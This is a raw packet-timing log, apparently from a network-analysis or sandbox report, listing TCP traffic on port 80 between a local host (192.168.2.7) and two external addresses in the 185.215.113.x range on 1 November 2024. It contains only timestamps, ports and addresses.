Nov 1, 2024 12:14:39.383279085 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.383291006 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.383302927 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.383306026 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.383322954 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.383330107 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.383336067 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.383346081 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.383366108 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.383378029 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.383378029 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.383390903 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.383393049 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.383404016 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.383413076 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.383415937 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.383428097 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.383431911 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.383444071 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.383452892 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.383472919 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.383507967 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.383507967 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.461365938 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.461380005 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.461390972 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.461488008 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.461494923 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.461498976 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.461510897 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.461550951 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.461565971 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.461653948 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.461667061 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.461679935 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.461731911 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.461731911 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.461807013 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.461818933 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.461829901 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.461839914 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.461853027 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.461864948 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.461877108 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.461890936 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.461890936 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.461894035 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.461905003 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.461939096 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.461971998 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.461972952 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.462126970 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.462141037 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.462151051 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.462162971 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.462174892 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.462179899 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.462192059 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.462204933 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.462208986 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.462229967 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.462248087 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.462271929 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.462285995 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.462296009 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.462307930 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.462318897 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.462326050 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.462327957 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.462338924 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.462348938 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.462378979 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.462421894 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.462434053 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.462446928 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.462482929 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.462616920 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.462630033 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.462640047 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.462652922 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.462663889 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.462676048 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.462688923 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.462690115 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.462690115 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.462702036 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.462712049 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.462716103 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.462754011 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.462764025 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.462771893 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.462781906 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.462793112 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.462801933 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.462809086 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.462809086 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.462821007 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.462865114 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.462945938 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.462958097 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.462970018 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.462980986 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.462991953 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.462994099 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.463006973 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.463017941 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.463046074 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.463046074 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.463097095 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.463144064 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.463260889 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.463273048 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.463288069 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.463299990 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.463310957 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.463320017 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.463320017 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.463329077 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.463340044 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.463354111 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.463360071 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.463366032 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.463380098 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.463402033 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.463407040 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.463413954 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.463424921 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.463430882 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.463438034 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.463449955 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.463460922 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.463466883 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.463466883 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.463510990 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.463558912 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.463571072 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.463620901 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.463720083 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.463732958 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.463743925 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.463757992 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.463768959 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.463769913 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.463782072 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.463807106 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.463840961 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.463865995 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.463927984 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.464032888 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.464045048 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.464056969 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.464076996 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.464091063 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.464099884 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.464099884 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.464102983 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.464116096 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.464133024 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.464171886 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.464181900 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.464195013 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.464205980 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.464237928 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.464263916 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.464343071 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.464356899 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.464368105 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.464380980 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.464390993 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.464401007 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.464402914 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.464415073 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.464416027 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.464426994 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.464443922 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.464483976 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.464507103 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.464519978 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.464531898 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.464543104 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.464555979 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.464632988 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.464637995 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.464651108 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.464662075 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.464689016 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.464699984 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.464817047 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.464829922 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.464843035 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.464854956 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.464867115 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.464874983 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.464879990 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.464891911 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.464904070 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.464917898 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.464917898 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.464935064 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.464992046 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.465004921 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.465022087 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.465034008 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.465046883 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.465053082 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.465076923 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.465094090 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.465126038 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.465137959 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.465148926 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.465158939 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.465177059 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.465209007 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.465293884 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.465306997 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.465316057 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.465328932 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.465338945 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.465352058 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.465353966 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.465365887 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.465378046 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.465379000 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.465400934 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.465431929 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.465447903 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.465460062 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.465504885 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.465610981 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.465622902 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.465635061 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.465646982 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.465656996 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.465657949 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.465677023 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.465687990 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.465701103 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.465701103 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.465709925 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.465739012 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.465756893 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.465761900 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.465770006 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.465780020 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.465794086 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.465806007 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.465821981 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.465821981 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.465848923 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.465954065 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.465966940 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.465979099 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.465990067 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466002941 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466010094 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.466015100 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466028929 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466039896 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466042042 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.466042042 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.466084003 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.466128111 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466140032 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466150999 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466161966 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466172934 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466178894 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.466187954 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466192007 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.466201067 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466212988 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.466248989 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.466270924 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466283083 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466289997 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466300964 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466312885 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466324091 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466336012 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466346979 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466352940 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.466352940 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.466392040 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.466392040 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.466423035 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466435909 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466489077 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.466598034 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466609955 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466620922 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466631889 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466643095 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466650009 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466662884 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466665983 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.466665983 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.466674089 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466686964 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466727972 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466733932 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.466733932 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.466742992 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466753960 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466761112 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466766119 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466772079 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466775894 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.466784000 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466820002 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.466860056 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466871977 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466872931 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.466877937 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466890097 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466905117 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466911077 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.466918945 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466931105 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466943026 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466948032 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.466948032 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.466955900 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.466991901 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.467003107 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.467012882 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.467060089 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:41.998558998 CET	49978	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:14:41.998918056 CET	49980	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:14:42.003767014 CET	80	49980	185.215.113.43	192.168.2.7
Nov 1, 2024 12:14:42.003854990 CET	49980	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:14:42.004223108 CET	80	49978	185.215.113.43	192.168.2.7
Nov 1, 2024 12:14:42.004275084 CET	49978	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:14:42.010529995 CET	49980	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:14:42.015463114 CET	80	49980	185.215.113.43	192.168.2.7
Nov 1, 2024 12:14:43.104322910 CET	80	49980	185.215.113.43	192.168.2.7
Nov 1, 2024 12:14:43.104383945 CET	49980	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:14:43.107119083 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:43.107392073 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:43.112188101 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:43.112255096 CET	49981	80	192.168.2.7	185.215.113.16
